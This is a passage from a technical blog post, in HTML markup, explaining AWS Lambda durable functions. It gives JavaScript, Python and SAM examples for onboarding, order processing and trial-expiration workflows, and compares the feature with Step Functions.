        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;failed&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;
      &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nf"&gt;sendWelcomeEmail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="nx"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="na"&gt;status&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;active&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;createUserProfile&lt;/code&gt; succeeds but the verification email fails to send, the function retries from the &lt;code&gt;waitForCallback&lt;/code&gt; step. The profile creation is skipped (already checkpointed). If the user clicks verify 6 hours later, the function resumes at the &lt;code&gt;complete-onboarding&lt;/code&gt; step. During those 6 hours, you pay nothing.&lt;/p&gt;

&lt;p&gt;The SAM template looks like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Resources&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;UserOnboardingFunction&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;Type&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;AWS::Serverless::Function&lt;/span&gt;
    &lt;span class="na"&gt;Properties&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;FunctionName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;UserOnboardingFunction&lt;/span&gt;
      &lt;span class="na"&gt;CodeUri&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;./src&lt;/span&gt;
      &lt;span class="na"&gt;Handler&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;index.handler&lt;/span&gt;
      &lt;span class="na"&gt;Runtime&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nodejs24.x&lt;/span&gt;
      &lt;span class="na"&gt;Timeout&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;60&lt;/span&gt;
      &lt;span class="na"&gt;DurableConfig&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;ExecutionTimeout&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;90000&lt;/span&gt;  &lt;span class="c1"&gt;# 25 hours&lt;/span&gt;
        &lt;span class="na"&gt;RetentionPeriodInDays&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;7&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;Timeout&lt;/code&gt; is still the per-invocation limit (max 15 minutes). &lt;code&gt;ExecutionTimeout&lt;/code&gt; is how long the entire durable execution can run, including waits. Up to one year.&lt;/p&gt;

&lt;h2&gt;
  
  
  When to Use This Instead of Step Functions
&lt;/h2&gt;

&lt;p&gt;The AWS docs frame it as "application development in Lambda" vs. "workflow orchestration across AWS services." Here's my less diplomatic version.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foa85gkv6u379i1yzjiyo.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foa85gkv6u379i1yzjiyo.png" alt="side-by-side comparison, Step Functions state machine vs. durable function code file" width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Use Durable Functions when&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Your team prefers standard programming languages and familiar development tools&lt;/li&gt;
&lt;li&gt;Your workflow is mostly Lambda code calling other services via SDK&lt;/li&gt;
&lt;li&gt;You want the orchestration logic in the same file as the business logic&lt;/li&gt;
&lt;li&gt;You're comfortable with the checkpoint/replay model&lt;/li&gt;
&lt;li&gt;You want to test locally with &lt;code&gt;sam local invoke&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Use Step Functions when&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You're orchestrating many AWS services (SQS, SNS, DynamoDB, ECS) with native integrations&lt;/li&gt;
&lt;li&gt;Non-engineers need to understand the workflow (the visual designer matters)&lt;/li&gt;
&lt;li&gt;You want zero runtime maintenance (no SDK versions to update)&lt;/li&gt;
&lt;li&gt;You need the 220+ direct service integrations without writing Lambda functions for each&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Use both when&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Step Functions coordinates the high-level flow across services&lt;/li&gt;
&lt;li&gt;Durable Functions handles complex application logic within individual Lambda functions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The honest comparison is that Durable Functions is simpler for Lambda-heavy workflows. Step Functions is more powerful for cross-service orchestration. If your workflow is "Lambda calls Lambda calls Lambda with some waits in between," Durable Functions is less overhead. If your workflow is "receive SQS message, write to DynamoDB, start ECS task, wait for completion, send SNS notification," Step Functions has native integrations for all of that without writing Lambda handlers.&lt;/p&gt;

&lt;h2&gt;
  
  
  What You Pay For
&lt;/h2&gt;

&lt;p&gt;Standard Lambda compute charges apply to all invocations, including replays. During waits, on-demand functions don't incur duration charges.&lt;/p&gt;

&lt;p&gt;You also pay for durable operations (each &lt;code&gt;step()&lt;/code&gt;, &lt;code&gt;wait()&lt;/code&gt;, &lt;code&gt;invoke()&lt;/code&gt; call), data written to checkpoints, and data retention (how long execution history is kept).&lt;/p&gt;

&lt;p&gt;For workflows that spend most of their time waiting (approval flows, scheduled delays, polling), the cost model is favorable. You're not paying for an idle Step Functions execution either, but the per-operation pricing differs. For short, compute-heavy workflows with few waits, the replay overhead adds cost that Step Functions doesn't have.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F34kh2lowxadw04bywtxg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F34kh2lowxadw04bywtxg.png" alt="cost timeline showing active compute (colored) vs. suspended wait time (empty)" width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Things to Know Before You Build
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Determinism matters.&lt;/strong&gt; Your handler runs from the top on every replay. Code between steps must be deterministic. Don't generate random IDs outside a step, don't read the current time outside a step, don't make API calls outside a step. Anything with side effects goes inside &lt;code&gt;context.step()&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Versioning is strict.&lt;/strong&gt; Use function versions or aliases, not &lt;code&gt;$LATEST&lt;/code&gt;. If your code changes between a pause and a resume, the replay might not match the original execution. Lambda replays with the version that started the execution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;15-minute invocation limit still applies.&lt;/strong&gt; Each individual invocation (including replays) must complete within 15 minutes. The durable execution can span months, but each "wake up" is still a normal Lambda invocation. If your replay takes too long because you have hundreds of completed steps to skip through, that's a problem.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You can't add DurableConfig to an existing function.&lt;/strong&gt; You need to create a new function with durable execution enabled from the start.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SDKs available for Node.js, Python, and Java.&lt;/strong&gt; Java SDK went GA in April 2026. Python and Node.js have been available since launch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Available in 16+ regions&lt;/strong&gt; as of April 2026.&lt;/p&gt;

&lt;h2&gt;
  
  
  A Practical Example, Order Processing
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6pp61xeoekw479r8z8p6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6pp61xeoekw479r8z8p6.png" alt="sequence diagram showing order flow with suspension period marked" width="800" height="436"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here's a more realistic example. An order comes in, you validate payment, reserve inventory, wait for the warehouse to confirm shipment (could take hours), then notify the customer.&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;aws_durable_execution_sdk&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;durable_function&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;DurableContext&lt;/span&gt;

&lt;span class="nd"&gt;@durable_function&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;DurableContext&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;order&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;event&lt;/span&gt;

    &lt;span class="c1"&gt;# Validate payment
&lt;/span&gt;    &lt;span class="n"&gt;payment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;validate-payment&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;charge_card&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;order&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;payment&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;success&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;payment_failed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;order_id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;order&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;

    &lt;span class="c1"&gt;# Reserve inventory
&lt;/span&gt;    &lt;span class="n"&gt;reservation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;reserve-inventory&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;reserve_items&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;order&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;items&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;

    &lt;span class="c1"&gt;# Wait for warehouse confirmation (poll every 5 minutes, timeout after 48 hours)
&lt;/span&gt;    &lt;span class="n"&gt;shipment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;wait_for_condition&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wait-for-shipment&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;lambda&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;check_shipment_status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reservation&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]),&lt;/span&gt;
        &lt;span class="n"&gt;interval&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;minutes&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;
        &lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hours&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Notify customer
&lt;/span&gt;    &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;notify-customer&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;send_shipping_notification&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;order&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;email&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;shipment&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tracking_number&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;status&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;shipped&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tracking&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;shipment&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tracking_number&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the warehouse takes 6 hours to ship, the function wakes up every 5 minutes, checks the status, and goes back to sleep. You pay for ~72 invocations of a few hundred milliseconds each, not 6 hours of compute.&lt;/p&gt;

&lt;p&gt;Compare this to the Step Functions version. You'd need a state machine with a Wait state, a Choice state, a Lambda function for each step, and the wiring between them. It works, but it's more infrastructure for the same outcome.&lt;/p&gt;

&lt;h2&gt;
  
  
  Who This Is For
&lt;/h2&gt;

&lt;p&gt;The pattern that makes durable functions worth it is any workflow where you have seconds of actual work separated by hours or days of waiting for something external. The more wait time relative to compute time, the better the cost model.&lt;/p&gt;

&lt;p&gt;A few examples that aren't the usual "order processing" and "user onboarding" from the AWS docs.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Trial expiration flow.&lt;/strong&gt; User signs up for a 14-day trial. The function suspends for 14 days, wakes up, checks if they converted to paid, sends the appropriate email (upgrade nudge or offboarding notice). One function, one execution, two weeks of zero cost. No cron job, no scheduler, no DynamoDB TTL workaround.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;withDurableExecution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;create-trial&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;createTrialAccount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;plan&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;wait&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;trial-period&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;days&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;14&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;converted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;check-conversion&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;
      &lt;span class="nf"&gt;hasUpgradedToPaid&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;

    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;send-email&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;converted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;sendRetentionEmail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;sendOffboardingEmail&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;});&lt;/span&gt;

    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;converted&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;step&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;deactivate&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nf"&gt;deactivateAccount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;userId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;converted&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Webhook delivery with backoff.&lt;/strong&gt; First attempt fails. Wait 1 minute, retry. Wait 5 minutes, retry. Wait 30 minutes, retry. The waits cost nothing.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;withDurableExecution&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
